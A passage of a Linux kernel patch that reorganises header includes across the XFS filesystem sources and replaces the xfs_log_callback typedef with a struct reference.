#include "xfs_inode_item.h" #include "xfs_bmap.h" #include "xfs_dir2.h" diff --git a/fs/xfs/xfs_dir2_block.c b/fs/xfs/xfs_dir2_block.c index 5f17273..6c7cd3c 100644 --- a/fs/xfs/xfs_dir2_block.c +++ b/fs/xfs/xfs_dir2_block.c @@ -18,9 +18,8 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_types.h" -#include "xfs_log.h" -#include "xfs_trans.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" @@ -29,6 +28,7 @@ #include "xfs_bmap_btree.h" #include "xfs_dinode.h" #include "xfs_inode.h" +#include "xfs_trans.h" #include "xfs_inode_item.h" #include "xfs_bmap.h" #include "xfs_buf_item.h" diff --git a/fs/xfs/xfs_dir2_data.c b/fs/xfs/xfs_dir2_data.c index 8cf8034..3f7eddd 100644 --- a/fs/xfs/xfs_dir2_data.c +++ b/fs/xfs/xfs_dir2_data.c @@ -18,9 +18,8 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_types.h" -#include "xfs_log.h" -#include "xfs_trans.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" @@ -32,6 +31,7 @@ #include "xfs_dir2.h" #include "xfs_dir2_priv.h" #include "xfs_error.h" +#include "xfs_trans.h" #include "xfs_buf_item.h" #include "xfs_cksum.h" diff --git a/fs/xfs/xfs_dir2_leaf.c b/fs/xfs/xfs_dir2_leaf.c index d5937da..44fe4b8 100644 --- a/fs/xfs/xfs_dir2_leaf.c +++ b/fs/xfs/xfs_dir2_leaf.c @@ -18,10 +18,9 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_types.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_bit.h" -#include "xfs_log.h" -#include "xfs_trans.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" @@ -35,6 +34,7 @@ #include "xfs_dir2_priv.h" #include "xfs_error.h" #include "xfs_trace.h" +#include "xfs_trans.h" #include "xfs_buf_item.h" #include "xfs_cksum.h" diff --git a/fs/xfs/xfs_dir2_node.c b/fs/xfs/xfs_dir2_node.c index 6d12a9a..8854cb44 100644 --- a/fs/xfs/xfs_dir2_node.c +++ b/fs/xfs/xfs_dir2_node.c @@ -18,9 +18,8 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_types.h" -#include "xfs_log.h" -#include "xfs_trans.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" @@ -34,6 +33,7 @@ #include "xfs_dir2_priv.h" #include "xfs_error.h" #include "xfs_trace.h" +#include "xfs_trans.h" #include "xfs_buf_item.h" #include "xfs_cksum.h" diff --git a/fs/xfs/xfs_dir2_readdir.c b/fs/xfs/xfs_dir2_readdir.c index 6b1ffb3..048d582 100644 --- a/fs/xfs/xfs_dir2_readdir.c +++ b/fs/xfs/xfs_dir2_readdir.c @@ -18,10 +18,9 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_types.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_bit.h" -#include "xfs_log.h" -#include "xfs_trans.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" @@ -35,6 +34,7 @@ #include "xfs_error.h" #include "xfs_trace.h" #include "xfs_bmap.h" +#include "xfs_trans.h" /* * Directory file type support functions diff --git a/fs/xfs/xfs_dir2_sf.c b/fs/xfs/xfs_dir2_sf.c index 8d92596..ac3bb58 100644 --- a/fs/xfs/xfs_dir2_sf.c +++ b/fs/xfs/xfs_dir2_sf.c @@ -17,9 +17,8 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_types.h" -#include "xfs_log.h" -#include "xfs_trans.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" @@ -28,6 +27,7 @@ #include "xfs_bmap_btree.h" #include "xfs_dinode.h" #include "xfs_inode.h" +#include "xfs_trans.h" #include "xfs_inode_item.h" #include "xfs_error.h" #include "xfs_dir2.h" diff --git a/fs/xfs/xfs_discard.c b/fs/xfs/xfs_discard.c index 45560ee..d38f34c 100644 --- a/fs/xfs/xfs_discard.c +++ b/fs/xfs/xfs_discard.c @@ -17,8 +17,8 @@ */ #include "xfs.h" #include "xfs_format.h" -#include "xfs_log.h" -#include "xfs_trans.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" @@ -33,6 +33,7 @@ #include "xfs_extent_busy.h" #include "xfs_discard.h" #include "xfs_trace.h" +#include "xfs_log.h" STATIC int xfs_trim_extents( diff --git a/fs/xfs/xfs_dquot.c b/fs/xfs/xfs_dquot.c index f85a893..47a815d 100644 --- a/fs/xfs/xfs_dquot.c +++ b/fs/xfs/xfs_dquot.c @@ -18,29 +18,31 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_format.h" +#include "xfs_log_format.h" #include "xfs_shared.h" +#include "xfs_trans_resv.h" #include "xfs_bit.h" -#include "xfs_log.h" -#include "xfs_trans.h" #include "xfs_sb.h" #include "xfs_ag.h" -#include "xfs_alloc.h" -#include "xfs_quota.h" #include "xfs_mount.h" #include "xfs_bmap_btree.h" #include "xfs_inode.h" #include "xfs_bmap.h" #include "xfs_bmap_util.h" +#include "xfs_alloc.h" +#include "xfs_quota.h" #include "xfs_rtalloc.h" #include "xfs_error.h" #include "xfs_itable.h" #include "xfs_attr.h" +#include "xfs_trans.h" #include "xfs_buf_item.h" #include "xfs_trans_space.h" #include "xfs_trans_priv.h" #include "xfs_qm.h" #include "xfs_cksum.h" #include "xfs_trace.h" +#include "xfs_log.h" /* * Lock order: diff --git a/fs/xfs/xfs_dquot_buf.c b/fs/xfs/xfs_dquot_buf.c index ad2c18f..3e84b3a 100644 --- a/fs/xfs/xfs_dquot_buf.c +++ b/fs/xfs/xfs_dquot_buf.c @@ -19,15 +19,16 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_format.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_bit.h" -#include "xfs_log.h" -#include "xfs_trans.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" #include "xfs_bmap_btree.h" #include "xfs_inode.h" #include "xfs_quota.h" +#include "xfs_trans.h" #include "xfs_qm.h" #include "xfs_error.h" #include "xfs_cksum.h" diff --git a/fs/xfs/xfs_dquot_item.c b/fs/xfs/xfs_dquot_item.c index e838d84..f8a47f7 100644 --- a/fs/xfs/xfs_dquot_item.c +++ b/fs/xfs/xfs_dquot_item.c @@ -18,8 +18,8 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_format.h" -#include "xfs_log.h" -#include "xfs_trans.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_alloc.h" @@ -32,9 +32,11 @@ #include "xfs_error.h" #include "xfs_itable.h" #include "xfs_attr.h" +#include "xfs_trans.h" #include "xfs_buf_item.h" #include "xfs_trans_priv.h" #include "xfs_qm.h" +#include "xfs_log.h" static inline struct xfs_dq_logitem *DQUOT_ITEM(struct xfs_log_item *lip) { diff --git a/fs/xfs/xfs_error.c b/fs/xfs/xfs_error.c index 1123d93f..7e24dc41 100644 --- a/fs/xfs/xfs_error.c +++ b/fs/xfs/xfs_error.c @@ -17,9 +17,8 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_types.h" -#include "xfs_log.h" -#include "xfs_trans.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" diff --git a/fs/xfs/xfs_export.c b/fs/xfs/xfs_export.c index 96be1d6..8502aee 100644 --- a/fs/xfs/xfs_export.c +++ b/fs/xfs/xfs_export.c @@ -16,9 +16,8 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #include "xfs.h" -#include "xfs_types.h" -#include "xfs_log.h" -#include "xfs_trans.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" @@ -27,9 +26,11 @@ #include "xfs_export.h" #include "xfs_bmap_btree.h" #include "xfs_inode.h" +#include "xfs_trans.h" #include "xfs_inode_item.h" #include "xfs_trace.h" #include "xfs_icache.h" +#include "xfs_log.h" /* * Note that we only accept fileids which are long enough rather than allow diff --git a/fs/xfs/xfs_extent_busy.c b/fs/xfs/xfs_extent_busy.c index 74828a7..de46264 100644 --- a/fs/xfs/xfs_extent_busy.c +++ b/fs/xfs/xfs_extent_busy.c @@ -20,9 +20,9 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_format.h" +#include "xfs_log_format.h" #include "xfs_shared.h" -#include "xfs_log.h" -#include "xfs_trans.h" +#include "xfs_trans_resv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" @@ -31,6 +31,8 @@ #include "xfs_inode.h" #include "xfs_extent_busy.h" #include "xfs_trace.h" +#include "xfs_trans.h" +#include "xfs_log.h" void xfs_extent_busy_insert( diff --git a/fs/xfs/xfs_extfree_item.c b/fs/xfs/xfs_extfree_item.c index dc53e8f..3680d04 100644 --- a/fs/xfs/xfs_extfree_item.c +++ b/fs/xfs/xfs_extfree_item.c @@ -17,14 +17,14 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_types.h" -#include "xfs_log.h" -#include "xfs_trans.h" -#include "xfs_buf_item.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" +#include "xfs_trans.h" #include "xfs_trans_priv.h" +#include "xfs_buf_item.h" #include "xfs_extfree_item.h" diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c index f3ee034..bbf387d 100644 --- a/fs/xfs/xfs_file.c +++ b/fs/xfs/xfs_file.c @@ -17,10 +17,10 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_log.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_sb.h" #include "xfs_ag.h" -#include "xfs_trans.h" #include "xfs_mount.h" #include "xfs_da_format.h" #include "xfs_da_btree.h" @@ -28,6 +28,7 @@ #include "xfs_alloc.h" #include "xfs_dinode.h" #include "xfs_inode.h" +#include "xfs_trans.h" #include "xfs_inode_item.h" #include "xfs_bmap.h" #include "xfs_bmap_util.h" @@ -36,6 +37,7 @@ #include "xfs_dir2_priv.h" #include "xfs_ioctl.h" #include "xfs_trace.h" +#include "xfs_log.h" #include #include diff --git a/fs/xfs/xfs_filestream.c b/fs/xfs/xfs_filestream.c index ce78e65..7f2c3c1 100644 --- a/fs/xfs/xfs_filestream.c +++ b/fs/xfs/xfs_filestream.c @@ -16,15 +16,15 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #include "xfs.h" -#include "xfs_log.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" +#include "xfs_ag.h" +#include "xfs_sb.h" +#include "xfs_mount.h" #include "xfs_bmap_btree.h" #include "xfs_inum.h" #include "xfs_dinode.h" #include "xfs_inode.h" -#include "xfs_ag.h" -#include "xfs_trans.h" -#include "xfs_sb.h" -#include "xfs_mount.h" #include "xfs_bmap.h" #include "xfs_bmap_util.h" #include "xfs_alloc.h" diff --git a/fs/xfs/xfs_fsops.c b/fs/xfs/xfs_fsops.c index d9cfe55..da0291a 100644 --- a/fs/xfs/xfs_fsops.c +++ b/fs/xfs/xfs_fsops.c @@ -17,11 +17,10 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_types.h" -#include "xfs_format.h" #include "xfs_shared.h" -#include "xfs_log.h" -#include "xfs_trans.h" +#include "xfs_log_format.h" +#include "xfs_format.h" +#include "xfs_trans_resv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" @@ -30,6 +29,7 @@ #include "xfs_ialloc_btree.h" #include "xfs_dinode.h" #include "xfs_inode.h" +#include "xfs_trans.h" #include "xfs_inode_item.h" #include "xfs_btree.h" #include "xfs_error.h" @@ -41,6 +41,7 @@ #include "xfs_rtalloc.h" #include "xfs_filestream.h" #include "xfs_trace.h" +#include "xfs_log.h" /* * File system operations diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c index 8530cab..c973ff8 100644 --- a/fs/xfs/xfs_ialloc.c +++ b/fs/xfs/xfs_ialloc.c @@ -17,12 +17,12 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_format.h" #include "xfs_shared.h" +#include "xfs_format.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_bit.h" -#include "xfs_log.h" #include "xfs_inum.h" -#include "xfs_trans.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" @@ -38,6 +38,7 @@ #include "xfs_error.h" #include "xfs_bmap.h" #include "xfs_cksum.h" +#include "xfs_trans.h" #include "xfs_buf_item.h" #include "xfs_icreate_item.h" #include "xfs_icache.h" diff --git a/fs/xfs/xfs_ialloc_btree.c b/fs/xfs/xfs_ialloc_btree.c index 5448eb6..2a0b615 100644 --- a/fs/xfs/xfs_ialloc_btree.c +++ b/fs/xfs/xfs_ialloc_btree.c @@ -17,10 +17,9 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_types.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_bit.h" -#include "xfs_log.h" -#include "xfs_trans.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" @@ -35,6 +34,7 @@ #include "xfs_error.h" #include "xfs_trace.h" #include "xfs_cksum.h" +#include "xfs_trans.h" STATIC int diff --git a/fs/xfs/xfs_icache.c b/fs/xfs/xfs_icache.c index 474807a..4fcf658 100644 --- a/fs/xfs/xfs_icache.c +++ b/fs/xfs/xfs_icache.c @@ -18,12 +18,9 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_format.h" -#include "xfs_types.h" -#include "xfs_log.h" -#include "xfs_log_priv.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_inum.h" -#include "xfs_trans.h" -#include "xfs_trans_priv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" @@ -32,6 +29,8 @@ #include "xfs_dinode.h" #include "xfs_error.h" #include "xfs_filestream.h" +#include "xfs_trans.h" +#include "xfs_trans_priv.h" #include "xfs_inode_item.h" #include "xfs_quota.h" #include "xfs_trace.h" diff --git a/fs/xfs/xfs_icreate_item.c b/fs/xfs/xfs_icreate_item.c index df8baf3..d2eaccf 100644 --- a/fs/xfs/xfs_icreate_item.c +++ b/fs/xfs/xfs_icreate_item.c @@ -18,12 +18,13 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_shared.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_bit.h" -#include "xfs_log.h" -#include "xfs_trans.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" +#include "xfs_trans.h" #include "xfs_trans_priv.h" #include "xfs_error.h" #include "xfs_icreate_item.h" diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index 9d98b6b..60928fd 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -19,13 +19,11 @@ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_format.h" #include "xfs_shared.h" -#include "xfs_log.h" +#include "xfs_format.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_inum.h" -#include "xfs_trans.h" -#include "xfs_trans_space.h" -#include "xfs_trans_priv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" @@ -39,6 +37,8 @@ #include "xfs_attr.h" #include "xfs_dinode.h" #include "xfs_inode.h" +#include "xfs_trans_space.h" +#include "xfs_trans.h" #include "xfs_buf_item.h" #include "xfs_inode_item.h" #include "xfs_btree.h" @@ -53,6 +53,8 @@ #include "xfs_trace.h" #include "xfs_icache.h" #include "xfs_symlink.h" +#include "xfs_trans_priv.h" +#include "xfs_log.h" kmem_zone_t *xfs_inode_zone; diff --git a/fs/xfs/xfs_inode_buf.c b/fs/xfs/xfs_inode_buf.c index 65fa56e..c0f974b 100644 --- a/fs/xfs/xfs_inode_buf.c +++ b/fs/xfs/xfs_inode_buf.c @@ -17,10 +17,10 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_format.h" #include "xfs_shared.h" -#include "xfs_log.h" -#include "xfs_trans.h" +#include "xfs_format.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" @@ -32,6 +32,7 @@ #include "xfs_cksum.h" #include "xfs_icache.h" #include "xfs_ialloc.h" +#include "xfs_trans.h" /* * Check that none of the inode's in the buffer have a next diff --git a/fs/xfs/xfs_inode_fork.c b/fs/xfs/xfs_inode_fork.c index 02f1083..8af3821 100644 --- a/fs/xfs/xfs_inode_fork.c +++ b/fs/xfs/xfs_inode_fork.c @@ -20,10 +20,9 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_format.h" -#include "xfs_log.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_inum.h" -#include "xfs_trans.h" -#include "xfs_trans_priv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" @@ -33,6 +32,7 @@ #include "xfs_attr_sf.h" #include "xfs_dinode.h" #include "xfs_inode.h" +#include "xfs_trans.h" #include "xfs_buf_item.h" #include "xfs_inode_item.h" #include "xfs_btree.h" diff --git a/fs/xfs/xfs_inode_item.c b/fs/xfs/xfs_inode_item.c index 3780811..9f8e85e 100644 --- a/fs/xfs/xfs_inode_item.c +++ b/fs/xfs/xfs_inode_item.c @@ -17,19 +17,19 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_types.h" -#include "xfs_log.h" -#include "xfs_trans.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" -#include "xfs_trans_priv.h" #include "xfs_bmap_btree.h" #include "xfs_dinode.h" #include "xfs_inode.h" +#include "xfs_trans.h" #include "xfs_inode_item.h" #include "xfs_error.h" #include "xfs_trace.h" +#include "xfs_trans_priv.h" kmem_zone_t *xfs_ili_zone; /* inode log item zone */ diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index bde3847..8484f40 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -17,10 +17,10 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_format.h" #include "xfs_shared.h" -#include "xfs_log.h" -#include "xfs_trans.h" +#include "xfs_format.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_alloc.h" @@ -35,6 +35,7 @@ #include "xfs_attr.h" #include "xfs_bmap.h" #include "xfs_bmap_util.h" +#include "xfs_trans.h" #include "xfs_buf_item.h" #include "xfs_fsops.h" #include "xfs_discard.h" diff --git a/fs/xfs/xfs_ioctl32.c b/fs/xfs/xfs_ioctl32.c index f671f7e..1be3333 100644 --- a/fs/xfs/xfs_ioctl32.c +++ b/fs/xfs/xfs_ioctl32.c @@ -22,8 +22,8 @@ #include #include "xfs.h" #include "xfs_fs.h" -#include "xfs_log.h" -#include "xfs_trans.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" diff --git a/fs/xfs/xfs_iomap.c b/fs/xfs/xfs_iomap.c index 41ef15e..a5c549c 100644 --- a/fs/xfs/xfs_iomap.c +++ b/fs/xfs/xfs_iomap.c @@ -17,21 +17,22 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_format.h" #include "xfs_shared.h" -#include "xfs_log.h" -#include "xfs_trans.h" +#include "xfs_format.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_sb.h" #include "xfs_ag.h" -#include "xfs_alloc.h" -#include "xfs_quota.h" #include "xfs_mount.h" #include "xfs_bmap_btree.h" #include "xfs_alloc_btree.h" #include "xfs_ialloc_btree.h" #include "xfs_dinode.h" #include "xfs_inode.h" +#include "xfs_trans.h" #include "xfs_inode_item.h" +#include "xfs_alloc.h" +#include "xfs_quota.h" #include "xfs_btree.h" #include "xfs_bmap.h" #include "xfs_bmap_util.h" diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c index 5f39e63..44fdfe8 100644 --- a/fs/xfs/xfs_iops.c +++ b/fs/xfs/xfs_iops.c @@ -17,15 +17,12 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_format.h" #include "xfs_shared.h" -#include "xfs_acl.h" -#include "xfs_log.h" -#include "xfs_trans.h" +#include "xfs_format.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_sb.h" #include "xfs_ag.h" -#include "xfs_alloc.h" -#include "xfs_quota.h" #include "xfs_mount.h" #include "xfs_da_format.h" #include "xfs_bmap_btree.h" @@ -33,10 +30,14 @@ #include "xfs_inode.h" #include "xfs_bmap.h" #include "xfs_bmap_util.h" +#include "xfs_acl.h" +#include "xfs_alloc.h" +#include "xfs_quota.h" #include "xfs_rtalloc.h" #include "xfs_error.h" #include "xfs_itable.h" #include "xfs_attr.h" +#include "xfs_trans.h" #include "xfs_buf_item.h" #include "xfs_inode_item.h" #include "xfs_trace.h" diff --git a/fs/xfs/xfs_itable.c b/fs/xfs/xfs_itable.c index 4f50e63..964b1ca 100644 --- a/fs/xfs/xfs_itable.c +++ b/fs/xfs/xfs_itable.c @@ -18,9 +18,9 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_shared.h" -#include "xfs_log.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_inum.h" -#include "xfs_trans.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" diff --git a/fs/xfs/xfs_log.c b/fs/xfs/xfs_log.c index 7506e6d..e7f5c9a8 100644 --- a/fs/xfs/xfs_log.c +++ b/fs/xfs/xfs_log.c @@ -18,19 +18,21 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_shared.h" -#include "xfs_log.h" -#include "xfs_trans.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" #include "xfs_error.h" +#include "xfs_trans.h" +#include "xfs_trans_priv.h" +#include "xfs_log.h" #include "xfs_log_priv.h" #include "xfs_buf_item.h" #include "xfs_bmap_btree.h" #include "xfs_alloc_btree.h" #include "xfs_ialloc_btree.h" #include "xfs_log_recover.h" -#include "xfs_trans_priv.h" #include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_trace.h" diff --git a/fs/xfs/xfs_log.h b/fs/xfs/xfs_log.h index 1c45848..ee883a8 100644 --- a/fs/xfs/xfs_log.h +++ b/fs/xfs/xfs_log.h @@ -33,16 +33,6 @@ struct xfs_log_vec { #define XFS_LOG_VEC_ORDERED (-1) /* - * Structure used to pass callback function and the function's argument - * to the log manager. - */ -typedef struct xfs_log_callback { - struct xfs_log_callback *cb_next; - void (*cb_func)(void *, int); - void *cb_arg; -} xfs_log_callback_t; - -/* * By comparing each component, we don't have to worry about extra * endian issues in treating two 32 bit numbers as one 64 bit number */ @@ -82,11 +72,7 @@ struct xlog_ticket; struct xfs_log_item; struct xfs_item_ops; struct xfs_trans; - -void xfs_log_item_init(struct xfs_mount *mp, - struct xfs_log_item *item, - int type, - const struct xfs_item_ops *ops); +struct xfs_log_callback; xfs_lsn_t xfs_log_done(struct xfs_mount *mp, struct xlog_ticket *ticket, @@ -114,7 +100,7 @@ xfs_lsn_t xlog_assign_tail_lsn_locked(struct xfs_mount *mp); void xfs_log_space_wake(struct xfs_mount *mp); int xfs_log_notify(struct xfs_mount *mp, struct xlog_in_core *iclog, - xfs_log_callback_t *callback_entry); + struct xfs_log_callback *callback_entry); int xfs_log_release_iclog(struct xfs_mount *mp, struct xlog_in_core *iclog); int xfs_log_reserve(struct xfs_mount *mp, diff --git a/fs/xfs/xfs_log_cil.c b/fs/xfs/xfs_log_cil.c index 3a9c70a..8c263f7 100644 --- a/fs/xfs/xfs_log_cil.c +++ b/fs/xfs/xfs_log_cil.c @@ -17,11 +17,9 @@ #include "xfs.h" #include "xfs_fs.h" +#include "xfs_log_format.h" #include "xfs_shared.h" -#include "xfs_log.h" -#include "xfs_trans.h" -#include "xfs_trans_priv.h" -#include "xfs_log_priv.h" +#include "xfs_trans_resv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" @@ -29,6 +27,10 @@ #include "xfs_alloc.h" #include "xfs_extent_busy.h" #include "xfs_discard.h" +#include "xfs_trans.h" +#include "xfs_trans_priv.h" +#include "xfs_log.h" +#include "xfs_log_priv.h" /* * Allocate a new ticket. Failing to get a new ticket makes it really hard to diff --git a/fs/xfs/xfs_log_priv.h b/fs/xfs/xfs_log_priv.h index 136654b..ffc6cfe 100644 --- a/fs/xfs/xfs_log_priv.h +++ b/fs/xfs/xfs_log_priv.h @@ -22,6 +22,7 @@ struct xfs_buf; struct xlog; struct xlog_ticket; struct xfs_mount; +struct xfs_log_callback; /* * Flags for log structure @@ -227,8 +228,8 @@ typedef struct xlog_in_core { /* Callback structures need their own cacheline */ spinlock_t ic_callback_lock ____cacheline_aligned_in_smp; - xfs_log_callback_t *ic_callback; - xfs_log_callback_t **ic_callback_tail; + struct xfs_log_callback *ic_callback; + struct xfs_log_callback **ic_callback_tail; /* reference counts need their own cacheline */ atomic_t ic_refcnt ____cacheline_aligned_in_smp; @@ -254,7 +255,7 @@ struct xfs_cil_ctx { int space_used; /* aggregate size of regions */ struct list_head busy_extents; /* busy extents in chkpt */ struct xfs_log_vec *lv_chain; /* logvecs being pushed */ - xfs_log_callback_t log_cb; /* completion callback hook. */ + struct xfs_log_callback log_cb; /* completion callback hook. */ struct list_head committing; /* ctx committing list */ }; diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c index e4260fa..77a3a39 100644 --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -17,12 +17,12 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_format.h" #include "xfs_shared.h" +#include "xfs_format.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_bit.h" -#include "xfs_log.h" #include "xfs_inum.h" -#include "xfs_trans.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" @@ -34,11 +34,12 @@ #include "xfs_btree.h" #include "xfs_dinode.h" #include "xfs_inode.h" +#include "xfs_trans.h" #include "xfs_inode_item.h" #include "xfs_alloc.h" #include "xfs_ialloc.h" +#include "xfs_log.h" #include "xfs_log_priv.h" -#include "xfs_buf_item.h" #include "xfs_log_recover.h" #include "xfs_extfree_item.h" #include "xfs_trans_priv.h" @@ -46,14 +47,10 @@ #include "xfs_cksum.h" #include "xfs_trace.h" #include "xfs_icache.h" -#include "xfs_icreate_item.h" /* Need all the magic numbers and buffer ops structures from these headers */ -#include "xfs_symlink.h" #include "xfs_da_btree.h" #include "xfs_dir2.h" -#include "xfs_attr_leaf.h" -#include "xfs_attr_remote.h" #define BLK_AVG(blk1, blk2) ((blk1+blk2) >> 1) diff --git a/fs/xfs/xfs_log_rlimit.c b/fs/xfs/xfs_log_rlimit.c index e598bb5..3749bc1 100644 --- a/fs/xfs/xfs_log_rlimit.c +++ b/fs/xfs/xfs_log_rlimit.c @@ -18,8 +18,8 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_shared.h" -#include "xfs_log.h" -#include "xfs_trans.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_ag.h" #include "xfs_sb.h" #include "xfs_mount.h" diff --git a/fs/xfs/xfs_message.c b/fs/xfs/xfs_message.c index 9163dc1..63ca2f0 100644 --- a/fs/xfs/xfs_message.c +++ b/fs/xfs/xfs_message.c @@ -17,9 +17,8 @@ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_types.h" -#include "xfs_log.h" -#include "xfs_trans.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c index 170e729..83f7810 100644 --- a/fs/xfs/xfs_mount.c +++ b/fs/xfs/xfs_mount.c @@ -17,17 +17,19 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_format.h" #include "xfs_shared.h" +#include "xfs_format.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_bit.h" -#include "xfs_log.h" #include "xfs_inum.h" -#include "xfs_trans.h" -#include "xfs_trans_priv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" #include "xfs_da_format.h" +#include "xfs_trans.h" +#include "xfs_trans_priv.h" +#include "xfs_log.h" #include "xfs_dir2.h" #include "xfs_bmap_btree.h" #include "xfs_alloc_btree.h" diff --git a/fs/xfs/xfs_qm.c b/fs/xfs/xfs_qm.c index 6dfb4e3..e2f6756 100644 --- a/fs/xfs/xfs_qm.c +++ b/fs/xfs/xfs_qm.c @@ -18,14 +18,12 